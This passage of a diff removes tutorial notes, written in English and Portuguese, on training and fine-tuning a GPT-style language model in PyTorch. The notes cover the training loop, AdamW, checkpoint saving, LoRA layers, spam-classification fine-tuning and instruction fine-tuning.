train_loss = calc_loss_loader(train_loader, model, device)
|
||||
val_loss = calc_loss_loader(val_loader, model, device)
|
||||
|
||||
print("Training loss:", train_loss)
|
||||
print("Validation loss:", val_loss)
|
||||
```
|
||||
|
||||
### Training functions
|
||||
|
||||
The function `generate_and_print_sample` will just get a context and generate some tokens in order to get a feeling about how good is the model at that point. This is called by `train_model_simple` on each step.
|
||||
|
||||
The function `evaluate_model` is called as frequently as indicate to the training function and it's used to measure the train loss and the validation loss at that point in the model training.
|
||||
|
||||
Then the big function `train_model_simple` is the one that actually train the model. It expects:
|
||||
|
||||
- The train data loader (with the data already separated and prepared for training)
|
||||
- The validator loader
|
||||
- The **optimizer** to use during training: This is the function that will use the gradients and will update the parameters to reduce the loss. In this case, as you will see, `AdamW` is used, but there are many more.
|
||||
- `optimizer.zero_grad()` is called to reset the gradients on each round to not accumulate them.
|
||||
- The **`lr`** param is the **learning rate** which determines the **size of the steps** taken during the optimization process when updating the model's parameters. A **smaller** learning rate means the optimizer **makes smaller updates** to the weights, which can lead to more **precise** convergence but might **slow down** training. A **larger** learning rate can speed up training but **risks overshooting** the minimum of the loss function (**jump over** the point where the loss function is minimized).
|
||||
- **Weight Decay** modifies the **Loss Calculation** step by adding an extra term that penalizes large weights. This encourages the optimizer to find solutions with smaller weights, balancing between fitting the data well and keeping the model simple preventing overfitting in machine learning models by discouraging the model from assigning too much importance to any single feature.
|
||||
- Traditional optimizers like SGD with L2 regularization couple weight decay with the gradient of the loss function. However, **AdamW** (a variant of Adam optimizer) decouples weight decay from the gradient update, leading to more effective regularization.
|
||||
- The device to use for training
|
||||
- The number of epochs: Number of times to go over the training data
|
||||
- The evaluation frequency: The frequency to call `evaluate_model`
|
||||
- The evaluation iteration: The number of batches to use when evaluating the current state of the model when calling `generate_and_print_sample`
|
||||
- The start context: Which the starting sentence to use when calling `generate_and_print_sample`
|
||||
- The tokenizer
|
||||
|
||||
```python
|
||||
# Functions to train the data
|
||||
def train_model_simple(model, train_loader, val_loader, optimizer, device, num_epochs,
|
||||
eval_freq, eval_iter, start_context, tokenizer):
|
||||
# Initialize lists to track losses and tokens seen
|
||||
train_losses, val_losses, track_tokens_seen = [], [], []
|
||||
tokens_seen, global_step = 0, -1
|
||||
|
||||
# Main training loop
|
||||
for epoch in range(num_epochs):
|
||||
model.train() # Set model to training mode
|
||||
|
||||
for input_batch, target_batch in train_loader:
|
||||
optimizer.zero_grad() # Reset loss gradients from previous batch iteration
|
||||
loss = calc_loss_batch(input_batch, target_batch, model, device)
|
||||
loss.backward() # Calculate loss gradients
|
||||
optimizer.step() # Update model weights using loss gradients
|
||||
tokens_seen += input_batch.numel()
|
||||
global_step += 1
|
||||
|
||||
# Optional evaluation step
|
||||
if global_step % eval_freq == 0:
|
||||
train_loss, val_loss = evaluate_model(
|
||||
model, train_loader, val_loader, device, eval_iter)
|
||||
train_losses.append(train_loss)
|
||||
val_losses.append(val_loss)
|
||||
track_tokens_seen.append(tokens_seen)
|
||||
print(f"Ep {epoch+1} (Step {global_step:06d}): "
|
||||
f"Train loss {train_loss:.3f}, Val loss {val_loss:.3f}")
|
||||
|
||||
# Print a sample text after each epoch
|
||||
generate_and_print_sample(
|
||||
model, tokenizer, device, start_context
|
||||
)
|
||||
|
||||
return train_losses, val_losses, track_tokens_seen
|
||||
|
||||
|
||||
def evaluate_model(model, train_loader, val_loader, device, eval_iter):
|
||||
model.eval() # Set in eval mode to avoid dropout
|
||||
with torch.no_grad():
|
||||
train_loss = calc_loss_loader(train_loader, model, device, num_batches=eval_iter)
|
||||
val_loss = calc_loss_loader(val_loader, model, device, num_batches=eval_iter)
|
||||
model.train() # Back to training model applying all the configurations
|
||||
return train_loss, val_loss
|
||||
|
||||
|
||||
def generate_and_print_sample(model, tokenizer, device, start_context):
|
||||
model.eval() # Set in eval mode to avoid dropout
|
||||
context_size = model.pos_emb.weight.shape[0]
|
||||
encoded = text_to_token_ids(start_context, tokenizer).to(device)
|
||||
with torch.no_grad():
|
||||
token_ids = generate_text(
|
||||
model=model, idx=encoded,
|
||||
max_new_tokens=50, context_size=context_size
|
||||
)
|
||||
decoded_text = token_ids_to_text(token_ids, tokenizer)
|
||||
print(decoded_text.replace("\n", " ")) # Compact print format
|
||||
model.train() # Back to training model applying all the configurations
|
||||
```
|
||||
|
||||
> [!NOTE]
|
||||
> To improve the learning rate there are a couple relevant techniques called **linear warmup** and **cosine decay.**
|
||||
>
|
||||
> **Linear warmup** consist on define an initial learning rate and a maximum one and consistently update it after each epoch. This is because starting the training with smaller weight updates decreases the risk of the model encountering large, destabilizing updates during its training phase.\
|
||||
> **Cosine decay** is a technique that **gradually reduces the learning rate** following a half-cosine curve **after the warmup** phase, slowing weight updates to **minimize the risk of overshooting** the loss minima and ensure training stability in later phases.
|
||||
>
|
||||
> _Note that these improvements aren't included in the previous code._
|
||||
|
||||
### Start training
|
||||
|
||||
```python
|
||||
import time
|
||||
start_time = time.time()
|
||||
|
||||
torch.manual_seed(123)
|
||||
model = GPTModel(GPT_CONFIG_124M)
|
||||
model.to(device)
|
||||
optimizer = torch.optim.AdamW(model.parameters(), lr=0.0004, weight_decay=0.1)
|
||||
|
||||
num_epochs = 10
|
||||
train_losses, val_losses, tokens_seen = train_model_simple(
|
||||
model, train_loader, val_loader, optimizer, device,
|
||||
num_epochs=num_epochs, eval_freq=5, eval_iter=5,
|
||||
start_context="Every effort moves you", tokenizer=tokenizer
|
||||
)
|
||||
|
||||
end_time = time.time()
|
||||
execution_time_minutes = (end_time - start_time) / 60
|
||||
print(f"Training completed in {execution_time_minutes:.2f} minutes.")
|
||||
```
|
||||
|
||||
### Print training evolution
|
||||
|
||||
With the following function it's possible to print the evolution of the model while it was being trained.
|
||||
|
||||
```python
|
||||
import matplotlib.pyplot as plt
|
||||
from matplotlib.ticker import MaxNLocator
|
||||
import math
|
||||
def plot_losses(epochs_seen, tokens_seen, train_losses, val_losses):
|
||||
fig, ax1 = plt.subplots(figsize=(5, 3))
|
||||
ax1.plot(epochs_seen, train_losses, label="Training loss")
|
||||
ax1.plot(
|
||||
epochs_seen, val_losses, linestyle="-.", label="Validation loss"
|
||||
)
|
||||
ax1.set_xlabel("Epochs")
|
||||
ax1.set_ylabel("Loss")
|
||||
ax1.legend(loc="upper right")
|
||||
ax1.xaxis.set_major_locator(MaxNLocator(integer=True))
|
||||
ax2 = ax1.twiny()
|
||||
ax2.plot(tokens_seen, train_losses, alpha=0)
|
||||
ax2.set_xlabel("Tokens seen")
|
||||
fig.tight_layout()
|
||||
plt.show()
|
||||
|
||||
# Compute perplexity from the loss values
|
||||
train_ppls = [math.exp(loss) for loss in train_losses]
|
||||
val_ppls = [math.exp(loss) for loss in val_losses]
|
||||
# Plot perplexity over tokens seen
|
||||
plt.figure()
|
||||
plt.plot(tokens_seen, train_ppls, label='Training Perplexity')
|
||||
plt.plot(tokens_seen, val_ppls, label='Validation Perplexity')
|
||||
plt.xlabel('Tokens Seen')
|
||||
plt.ylabel('Perplexity')
|
||||
plt.title('Perplexity over Training')
|
||||
plt.legend()
|
||||
plt.show()
|
||||
|
||||
epochs_tensor = torch.linspace(0, num_epochs, len(train_losses))
|
||||
plot_losses(epochs_tensor, tokens_seen, train_losses, val_losses)
|
||||
```
|
||||
|
||||
### Save the model
|
||||
|
||||
It's possible to save the model + optimizer if you want to continue training later:
|
||||
|
||||
```python
|
||||
# Save the model and the optimizer for later training
|
||||
torch.save({
|
||||
"model_state_dict": model.state_dict(),
|
||||
"optimizer_state_dict": optimizer.state_dict(),
|
||||
},
|
||||
"/tmp/model_and_optimizer.pth"
|
||||
)
|
||||
# Note that this model with the optimizer occupied close to 2GB
|
||||
|
||||
# Restore model and optimizer for training
|
||||
checkpoint = torch.load("/tmp/model_and_optimizer.pth", map_location=device)
|
||||
|
||||
model = GPTModel(GPT_CONFIG_124M)
|
||||
model.load_state_dict(checkpoint["model_state_dict"])
|
||||
optimizer = torch.optim.AdamW(model.parameters(), lr=5e-4, weight_decay=0.1)
|
||||
optimizer.load_state_dict(checkpoint["optimizer_state_dict"])
|
||||
model.train(); # Put in training mode
|
||||
```
|
||||
|
||||
Or just the model if you are planing just on using it:
|
||||
|
||||
```python
|
||||
# Save the model
|
||||
torch.save(model.state_dict(), "model.pth")
|
||||
|
||||
# Load it
|
||||
model = GPTModel(GPT_CONFIG_124M)
|
||||
|
||||
model.load_state_dict(torch.load("model.pth", map_location=device))
|
||||
|
||||
model.eval() # Put in eval mode
|
||||
```
|
||||
|
||||
## Loading GPT2 weights
|
||||
|
||||
There 2 quick scripts to load the GPT2 weights locally. For both you can clone the repository [https://github.com/rasbt/LLMs-from-scratch](https://github.com/rasbt/LLMs-from-scratch) locally, then:
|
||||
|
||||
- The script [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch05/01_main-chapter-code/gpt_generate.py](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch05/01_main-chapter-code/gpt_generate.py) will download all the weights and transform the formats from OpenAI to the ones expected by our LLM. The script is also prepared with the needed configuration and with the prompt: "Every effort moves you"
|
||||
- The script [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch05/02_alternative_weight_loading/weight-loading-hf-transformers.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch05/02_alternative_weight_loading/weight-loading-hf-transformers.ipynb) allows you to load any of the GPT2 weights locally (just change the `CHOOSE_MODEL` var) and predict text from some prompts.
|
||||
|
||||
## References
|
||||
|
||||
- [https://www.manning.com/books/build-a-large-language-model-from-scratch](https://www.manning.com/books/build-a-large-language-model-from-scratch)
|
||||
|
@ -1,61 +0,0 @@
|
||||
# 7.0. Melhorias do LoRA no ajuste fino
|
||||
|
||||
## Melhorias do LoRA
|
||||
|
||||
> [!TIP]
|
||||
> O uso de **LoRA reduz muito a computação** necessária para **ajustar modelos** já treinados.
|
||||
|
||||
LoRA torna possível ajustar **grandes modelos** de forma eficiente, mudando apenas uma **pequena parte** do modelo. Isso reduz o número de parâmetros que você precisa treinar, economizando **memória** e **recursos computacionais**. Isso ocorre porque:
|
||||
|
||||
1. **Reduz o Número de Parâmetros Treináveis**: Em vez de atualizar toda a matriz de pesos no modelo, o LoRA **divide** a matriz de pesos em duas matrizes menores (chamadas **A** e **B**). Isso torna o treinamento **mais rápido** e requer **menos memória** porque menos parâmetros precisam ser atualizados.
|
||||
|
||||
1. Isso ocorre porque, em vez de calcular a atualização completa de pesos de uma camada (matriz), ele a aproxima a um produto de 2 matrizes menores, reduzindo a atualização a calcular:\
|
||||
|
||||
<figure><img src="../../images/image (9) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
2. **Mantém os Pesos do Modelo Original Inalterados**: O LoRA permite que você mantenha os pesos do modelo original os mesmos e apenas atualize as **novas matrizes pequenas** (A e B). Isso é útil porque significa que o conhecimento original do modelo é preservado, e você apenas ajusta o que é necessário.
|
||||
3. **Ajuste Fino Eficiente Específico para Tarefas**: Quando você deseja adaptar o modelo a uma **nova tarefa**, pode apenas treinar as **pequenas matrizes LoRA** (A e B) enquanto deixa o resto do modelo como está. Isso é **muito mais eficiente** do que re-treinar o modelo inteiro.
|
||||
4. **Eficiência de Armazenamento**: Após o ajuste fino, em vez de salvar um **novo modelo completo** para cada tarefa, você só precisa armazenar as **matrizes LoRA**, que são muito pequenas em comparação com o modelo inteiro. Isso facilita a adaptação do modelo a muitas tarefas sem usar muito armazenamento.
|
||||
|
||||
Para implementar LoraLayers em vez de Linear durante um ajuste fino, este código é proposto aqui [https://github.com/rasbt/LLMs-from-scratch/blob/main/appendix-E/01_main-chapter-code/appendix-E.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/appendix-E/01_main-chapter-code/appendix-E.ipynb):
|
||||
```python
|
||||
import math
|
||||
|
||||
# Create the LoRA layer with the 2 matrices and the alpha
|
||||
class LoRALayer(torch.nn.Module):
|
||||
def __init__(self, in_dim, out_dim, rank, alpha):
|
||||
super().__init__()
|
||||
self.A = torch.nn.Parameter(torch.empty(in_dim, rank))
|
||||
torch.nn.init.kaiming_uniform_(self.A, a=math.sqrt(5)) # similar to standard weight initialization
|
||||
self.B = torch.nn.Parameter(torch.zeros(rank, out_dim))
|
||||
self.alpha = alpha
|
||||
|
||||
def forward(self, x):
|
||||
x = self.alpha * (x @ self.A @ self.B)
|
||||
return x
|
||||
|
||||
# Combine it with the linear layer
|
||||
class LinearWithLoRA(torch.nn.Module):
|
||||
def __init__(self, linear, rank, alpha):
|
||||
super().__init__()
|
||||
self.linear = linear
|
||||
self.lora = LoRALayer(
|
||||
linear.in_features, linear.out_features, rank, alpha
|
||||
)
|
||||
|
||||
def forward(self, x):
|
||||
return self.linear(x) + self.lora(x)
|
||||
|
||||
# Replace linear layers with LoRA ones
|
||||
def replace_linear_with_lora(model, rank, alpha):
|
||||
for name, module in model.named_children():
|
||||
if isinstance(module, torch.nn.Linear):
|
||||
# Replace the Linear layer with LinearWithLoRA
|
||||
setattr(model, name, LinearWithLoRA(module, rank, alpha))
|
||||
else:
|
||||
# Recursively apply the same function to child modules
|
||||
replace_linear_with_lora(module, rank, alpha)
|
||||
```
|
||||
## Referências
|
||||
|
||||
- [https://www.manning.com/books/build-a-large-language-model-from-scratch](https://www.manning.com/books/build-a-large-language-model-from-scratch)
|
@ -1,117 +0,0 @@
|
||||
# 7.1. Fine-Tuning for Classification
|
||||
|
||||
## What is
|
||||
|
||||
Fine-tuning is the process of taking a **pre-trained model** that has learned **general language patterns** from vast amounts of data and **adapting** it to perform a **specific task** or to understand domain-specific language. This is achieved by continuing the training of the model on a smaller, task-specific dataset, allowing it to adjust its parameters to better suit the nuances of the new data while leveraging the broad knowledge it has already acquired. Fine-tuning enables the model to deliver more accurate and relevant results in specialized applications without the need to train a new model from scratch.
|
||||
|
||||
> [!NOTE]
|
||||
> As pre-training a LLM that "understands" the text is pretty expensive it's usually easier and cheaper to to fine-tune open source pre-trained models to perform a specific task we want it to perform.
|
||||
|
||||
> [!TIP]
|
||||
> The goal of this section is to show how to fine-tune an already pre-trained model so instead of generating new text the LLM will select give the **probabilities of the given text being categorized in each of the given categories** (like if a text is spam or not).
|
||||
|
||||
## Preparing the data set
|
||||
|
||||
### Data set size
|
||||
|
||||
Of course, in order to fine-tune a model you need some structured data to use to specialise your LLM. In the example proposed in [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch06/01_main-chapter-code/ch06.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch06/01_main-chapter-code/ch06.ipynb), GPT2 is fine tuned to detect if an email is spam or not using the data from [https://archive.ics.uci.edu/static/public/228/sms+spam+collection.zip](https://archive.ics.uci.edu/static/public/228/sms+spam+collection.zip)_._
|
||||
|
||||
This data set contains much more examples of "not spam" that of "spam", therefore the book suggest to **only use as many examples of "not spam" as of "spam"** (therefore, removing from the training data all the extra examples). In this case, this was 747 examples of each.
|
||||
|
||||
Then, **70%** of the data set is used for **training**, **10%** for **validation** and **20%** for **testing**.
|
||||
|
||||
- The **validation set** is used during the training phase to fine-tune the model's **hyperparameters** and make decisions about model architecture, effectively helping to prevent overfitting by providing feedback on how the model performs on unseen data. It allows for iterative improvements without biasing the final evaluation.
|
||||
- This means that although the data included in this data set is not used for the training directly, it's used to tune the best **hyperparameters**, so this set cannot be used to evaluate the performance of the model like the testing one.
|
||||
- In contrast, the **test set** is used **only after** the model has been fully trained and all adjustments are complete; it provides an unbiased assessment of the model's ability to generalize to new, unseen data. This final evaluation on the test set gives a realistic indication of how the model is expected to perform in real-world applications.
|
||||
|
||||
### Entries length
|
||||
|
||||
As the training example expects entries (emails text in this case) of the same length, it was decided to make every entry as large as the largest one by adding the ids of `<|endoftext|>` as padding.
|
||||
|
||||
### Initialize the model
|
||||
|
||||
Using the open-source pre-trained weights initialize the model to train. We have already done this before and follow the instructions of [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch06/01_main-chapter-code/ch06.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch06/01_main-chapter-code/ch06.ipynb) you can easily do it.
|
||||
|
||||
## Classification head
|
||||
|
||||
In this specific example (predicting if a text is spam or not), we are not interested in fine tune according to the complete vocabulary of GPT2 but we only want the new model to say if the email is spam (1) or not (0). Therefore, we are going to **modify the final layer that** gives the probabilities per token of the vocabulary for one that only gives the probabilities of being spam or not (so like a vocabulary of 2 words).
|
||||
|
||||
```python
|
||||
# This code modified the final layer with a Linear one with 2 outs
|
||||
num_classes = 2
|
||||
model.out_head = torch.nn.Linear(
|
||||
|
||||
in_features=BASE_CONFIG["emb_dim"],
|
||||
|
||||
out_features=num_classes
|
||||
)
|
||||
```
|
||||
|
||||
## Parameters to tune
|
||||
|
||||
In order to fine tune fast it's easier to not fine tune all the parameters but only some final ones. This is because it's known that the lower layers generally capture basic language structures and semantics applicable. So, just **fine tuning the last layers is usually enough and faster**.
|
||||
|
||||
```python
|
||||
# This code makes all the parameters of the model unrtainable
|
||||
for param in model.parameters():
|
||||
param.requires_grad = False
|
||||
|
||||
# Allow to fine tune the last layer in the transformer block
|
||||
for param in model.trf_blocks[-1].parameters():
|
||||
param.requires_grad = True
|
||||
|
||||
# Allow to fine tune the final layer norm
|
||||
for param in model.final_norm.parameters():
|
||||
|
||||
param.requires_grad = True
|
||||
```
|
||||
|
||||
## Entries to use for training
|
||||
|
||||
In previos sections the LLM was trained reducing the loss of every predicted token, even though almost all the predicted tokens were in the input sentence (only 1 at the end was really predicted) in order for the model to understand better the language.
|
||||
|
||||
In this case we only care on the model being able to predict if the model is spam or not, so we only care about the last token predicted. Therefore, it's needed to modify out previous training loss functions to only take into account that token.
|
||||
|
||||
This is implemented in [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch06/01_main-chapter-code/ch06.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch06/01_main-chapter-code/ch06.ipynb) as:
|
||||
|
||||
```python
|
||||
def calc_accuracy_loader(data_loader, model, device, num_batches=None):
|
||||
model.eval()
|
||||
correct_predictions, num_examples = 0, 0
|
||||
|
||||
if num_batches is None:
|
||||
num_batches = len(data_loader)
|
||||
else:
|
||||
num_batches = min(num_batches, len(data_loader))
|
||||
for i, (input_batch, target_batch) in enumerate(data_loader):
|
||||
if i < num_batches:
|
||||
input_batch, target_batch = input_batch.to(device), target_batch.to(device)
|
||||
|
||||
with torch.no_grad():
|
||||
logits = model(input_batch)[:, -1, :] # Logits of last output token
|
||||
predicted_labels = torch.argmax(logits, dim=-1)
|
||||
|
||||
num_examples += predicted_labels.shape[0]
|
||||
correct_predictions += (predicted_labels == target_batch).sum().item()
|
||||
else:
|
||||
break
|
||||
return correct_predictions / num_examples
|
||||
|
||||
|
||||
def calc_loss_batch(input_batch, target_batch, model, device):
|
||||
input_batch, target_batch = input_batch.to(device), target_batch.to(device)
|
||||
logits = model(input_batch)[:, -1, :] # Logits of last output token
|
||||
loss = torch.nn.functional.cross_entropy(logits, target_batch)
|
||||
return loss
|
||||
```
|
||||
|
||||
Note how for each batch we are only interested in the **logits of the last token predicted**.
|
||||
|
||||
## Complete GPT2 fine-tune classification code
|
||||
|
||||
You can find all the code to fine-tune GPT2 to be a spam classifier in [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch06/01_main-chapter-code/load-finetuned-model.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch06/01_main-chapter-code/load-finetuned-model.ipynb)
|
||||
|
||||
## References
|
||||
|
||||
- [https://www.manning.com/books/build-a-large-language-model-from-scratch](https://www.manning.com/books/build-a-large-language-model-from-scratch)
|
||||
|
@ -1,100 +0,0 @@
|
||||
# 7.2. Ajuste Fino para Seguir Instruções
|
||||
|
||||
> [!TIP]
|
||||
> O objetivo desta seção é mostrar como **ajustar finamente um modelo já pré-treinado para seguir instruções** em vez de apenas gerar texto, por exemplo, respondendo a tarefas como um chatbot.
|
||||
|
||||
## Conjunto de Dados
|
||||
|
||||
Para ajustar finamente um LLM para seguir instruções, é necessário ter um conjunto de dados com instruções e respostas para ajustar o LLM. Existem diferentes formatos para treinar um LLM para seguir instruções, por exemplo:
|
||||
|
||||
- O exemplo de estilo de prompt Apply Alpaca:
|
||||
```csharp
|
||||
Below is an instruction that describes a task. Write a response that appropriately completes the request.
|
||||
|
||||
### Instruction:
|
||||
Calculate the area of a circle with a radius of 5 units.
|
||||
|
||||
### Response:
|
||||
The area of a circle is calculated using the formula \( A = \pi r^2 \). Plugging in the radius of 5 units:
|
||||
|
||||
\( A = \pi (5)^2 = \pi \times 25 = 25\pi \) square units.
|
||||
```
|
||||
- Exemplo de Estilo de Prompt Phi-3:
|
||||
```vbnet
|
||||
<|User|>
|
||||
Can you explain what gravity is in simple terms?
|
||||
|
||||
<|Assistant|>
|
||||
Absolutely! Gravity is a force that pulls objects toward each other.
|
||||
```
|
||||
Treinar um LLM com esses tipos de conjuntos de dados em vez de apenas texto bruto ajuda o LLM a entender que ele precisa fornecer respostas específicas às perguntas que recebe.
|
||||
|
||||
Portanto, uma das primeiras coisas a fazer com um conjunto de dados que contém solicitações e respostas é modelar esses dados no formato de prompt desejado, como:
|
||||
```python
|
||||
# Code from https://github.com/rasbt/LLMs-from-scratch/blob/main/ch07/01_main-chapter-code/ch07.ipynb
|
||||
def format_input(entry):
|
||||
instruction_text = (
|
||||
f"Below is an instruction that describes a task. "
|
||||
f"Write a response that appropriately completes the request."
|
||||
f"\n\n### Instruction:\n{entry['instruction']}"
|
||||
)
|
||||
|
||||
input_text = f"\n\n### Input:\n{entry['input']}" if entry["input"] else ""
|
||||
|
||||
return instruction_text + input_text
|
||||
|
||||
model_input = format_input(data[50])
|
||||
|
||||
desired_response = f"\n\n### Response:\n{data[50]['output']}"
|
||||
|
||||
print(model_input + desired_response)
|
||||
```
|
||||
Então, como sempre, é necessário separar o conjunto de dados em conjuntos para treinamento, validação e teste.
|
||||
|
||||
## Batching & Data Loaders
|
||||
|
||||
Então, é necessário agrupar todas as entradas e saídas esperadas para o treinamento. Para isso, é necessário:
|
||||
|
||||
- Tokenizar os textos
|
||||
- Preencher todas as amostras para o mesmo comprimento (geralmente o comprimento será tão grande quanto o comprimento do contexto usado para pré-treinar o LLM)
|
||||
- Criar os tokens esperados deslocando 1 a entrada em uma função de colagem personalizada
|
||||
- Substituir alguns tokens de preenchimento por -100 para excluí-los da perda de treinamento: Após o primeiro token `endoftext`, substituir todos os outros tokens `endoftext` por -100 (porque usar `cross_entropy(...,ignore_index=-100)` significa que ele ignorará alvos com -100)
|
||||
- \[Opcional] Mascarar usando -100 também todos os tokens pertencentes à pergunta para que o LLM aprenda apenas como gerar a resposta. No estilo Apply Alpaca, isso significará mascarar tudo até `### Response:`
|
||||
|
||||
Com isso criado, é hora de criar os carregadores de dados para cada conjunto de dados (treinamento, validação e teste).
|
||||
|
||||
## Load pre-trained LLM & Fine tune & Loss Checking
|
||||
|
||||
É necessário carregar um LLM pré-treinado para ajustá-lo. Isso já foi discutido em outras páginas. Então, é possível usar a função de treinamento previamente utilizada para ajustar o LLM.
|
||||
|
||||
Durante o treinamento, também é possível ver como a perda de treinamento e a perda de validação variam durante as épocas para ver se a perda está sendo reduzida e se o overfitting está ocorrendo.\
|
||||
Lembre-se de que o overfitting ocorre quando a perda de treinamento está sendo reduzida, mas a perda de validação não está sendo reduzida ou até mesmo aumentando. Para evitar isso, a coisa mais simples a fazer é parar o treinamento na época em que esse comportamento começa.
|
||||
|
||||
## Response Quality
|
||||
|
||||
Como este não é um ajuste fino de classificação onde é possível confiar mais nas variações de perda, também é importante verificar a qualidade das respostas no conjunto de teste. Portanto, é recomendado reunir as respostas geradas de todos os conjuntos de teste e **verificar sua qualidade manualmente** para ver se há respostas erradas (note que é possível que o LLM crie corretamente o formato e a sintaxe da frase de resposta, mas dê uma resposta completamente errada. A variação da perda não refletirá esse comportamento).\
|
||||
Note que também é possível realizar essa revisão passando as respostas geradas e as respostas esperadas para **outros LLMs e pedir que avaliem as respostas**.
|
||||
|
||||
Outros testes a serem realizados para verificar a qualidade das respostas:
|
||||
|
||||
1. **Measuring Massive Multitask Language Understanding (**[**MMLU**](https://arxiv.org/abs/2009.03300)**):** MMLU avalia o conhecimento e as habilidades de resolução de problemas de um modelo em 57 disciplinas, incluindo humanidades, ciências e mais. Ele usa perguntas de múltipla escolha para avaliar a compreensão em vários níveis de dificuldade, desde o elementar até o profissional avançado.
|
||||
2. [**LMSYS Chatbot Arena**](https://arena.lmsys.org): Esta plataforma permite que os usuários comparem respostas de diferentes chatbots lado a lado. Os usuários inserem um prompt, e vários chatbots geram respostas que podem ser comparadas diretamente.
|
||||
3. [**AlpacaEval**](https://github.com/tatsu-lab/alpaca_eval)**:** AlpacaEval é uma estrutura de avaliação automatizada onde um LLM avançado como o GPT-4 avalia as respostas de outros modelos a vários prompts.
|
||||
4. **General Language Understanding Evaluation (**[**GLUE**](https://gluebenchmark.com/)**):** GLUE é uma coleção de nove tarefas de compreensão de linguagem natural, incluindo análise de sentimentos, implicação textual e resposta a perguntas.
|
||||
5. [**SuperGLUE**](https://super.gluebenchmark.com/)**:** Construindo sobre o GLUE, o SuperGLUE inclui tarefas mais desafiadoras projetadas para serem difíceis para os modelos atuais.
|
||||
6. **Beyond the Imitation Game Benchmark (**[**BIG-bench**](https://github.com/google/BIG-bench)**):** BIG-bench é um benchmark em larga escala com mais de 200 tarefas que testam as habilidades de um modelo em áreas como raciocínio, tradução e resposta a perguntas.
|
||||
7. **Holistic Evaluation of Language Models (**[**HELM**](https://crfm.stanford.edu/helm/lite/latest/)**):** HELM fornece uma avaliação abrangente em várias métricas, como precisão, robustez e justiça.
|
||||
8. [**OpenAI Evals**](https://github.com/openai/evals)**:** Uma estrutura de avaliação de código aberto da OpenAI que permite testar modelos de IA em tarefas personalizadas e padronizadas.
|
||||
9. [**HumanEval**](https://github.com/openai/human-eval)**:** Uma coleção de problemas de programação usados para avaliar as habilidades de geração de código de modelos de linguagem.
|
||||
10. **Stanford Question Answering Dataset (**[**SQuAD**](https://rajpurkar.github.io/SQuAD-explorer/)**):** SQuAD consiste em perguntas sobre artigos da Wikipedia, onde os modelos devem compreender o texto para responder com precisão.
|
||||
11. [**TriviaQA**](https://nlp.cs.washington.edu/triviaqa/)**:** Um conjunto de dados em larga escala de perguntas e respostas de trivia, juntamente com documentos de evidência.
|
||||
|
||||
e muitos, muitos mais
|
||||
|
||||
## Follow instructions fine-tuning code
|
||||
|
||||
Você pode encontrar um exemplo do código para realizar esse ajuste fino em [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch07/01_main-chapter-code/gpt_instruction_finetuning.py](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch07/01_main-chapter-code/gpt_instruction_finetuning.py)
|
||||
|
||||
## References
|
||||
|
||||
- [https://www.manning.com/books/build-a-large-language-model-from-scratch](https://www.manning.com/books/build-a-large-language-model-from-scratch)
|
@ -1,98 +0,0 @@
|
||||
# LLM Training - Preparação de Dados
|
||||
|
||||
**Estas são minhas anotações do livro muito recomendado** [**https://www.manning.com/books/build-a-large-language-model-from-scratch**](https://www.manning.com/books/build-a-large-language-model-from-scratch) **com algumas informações extras.**
|
||||
|
||||
## Informações Básicas
|
||||
|
||||
Você deve começar lendo este post para alguns conceitos básicos que você deve conhecer:
|
||||
|
||||
{{#ref}}
|
||||
0.-basic-llm-concepts.md
|
||||
{{#endref}}
|
||||
|
||||
## 1. Tokenização
|
||||
|
||||
> [!TIP]
|
||||
> O objetivo desta fase inicial é muito simples: **Dividir a entrada em tokens (ids) de uma maneira que faça sentido**.
|
||||
|
||||
{{#ref}}
|
||||
1.-tokenizing.md
|
||||
{{#endref}}
|
||||
|
||||
## 2. Amostragem de Dados
|
||||
|
||||
> [!TIP]
|
||||
> O objetivo desta segunda fase é muito simples: **Amostrar os dados de entrada e prepará-los para a fase de treinamento, geralmente separando o conjunto de dados em frases de um comprimento específico e gerando também a resposta esperada.**
|
||||
|
||||
{{#ref}}
|
||||
2.-data-sampling.md
|
||||
{{#endref}}
|
||||
|
||||
## 3. Embeddings de Tokens
|
||||
|
||||
> [!TIP]
|
||||
> O objetivo desta terceira fase é muito simples: **Atribuir a cada um dos tokens anteriores no vocabulário um vetor das dimensões desejadas para treinar o modelo.** Cada palavra no vocabulário será um ponto em um espaço de X dimensões.\
|
||||
> Note que inicialmente a posição de cada palavra no espaço é apenas inicializada "aleatoriamente" e essas posições são parâmetros treináveis (serão melhorados durante o treinamento).
|
||||
>
|
||||
> Além disso, durante o embedding de tokens **outra camada de embeddings é criada** que representa (neste caso) a **posição absoluta da palavra na frase de treinamento**. Dessa forma, uma palavra em diferentes posições na frase terá uma representação (significado) diferente.
|
||||
|
||||
{{#ref}}
|
||||
3.-token-embeddings.md
|
||||
{{#endref}}
|
||||
|
||||
## 4. Mecanismos de Atenção
|
||||
|
||||
> [!TIP]
|
||||
> O objetivo desta quarta fase é muito simples: **Aplicar alguns mecanismos de atenção**. Estes serão muitas **camadas repetidas** que vão **capturar a relação de uma palavra no vocabulário com seus vizinhos na frase atual sendo usada para treinar o LLM**.\
|
||||
> Muitas camadas são usadas para isso, então muitos parâmetros treináveis vão capturar essa informação.
|
||||
|
||||
{{#ref}}
|
||||
4.-attention-mechanisms.md
|
||||
{{#endref}}
|
||||
|
||||
## 5. Arquitetura do LLM
|
||||
|
||||
> [!TIP]
|
||||
> O objetivo desta quinta fase é muito simples: **Desenvolver a arquitetura do LLM completo**. Juntar tudo, aplicar todas as camadas e criar todas as funções para gerar texto ou transformar texto em IDs e vice-versa.
|
||||
>
|
||||
> Esta arquitetura será usada tanto para treinar quanto para prever texto após ter sido treinada.
|
||||
|
||||
{{#ref}}
|
||||
5.-llm-architecture.md
|
||||
{{#endref}}
|
||||
|
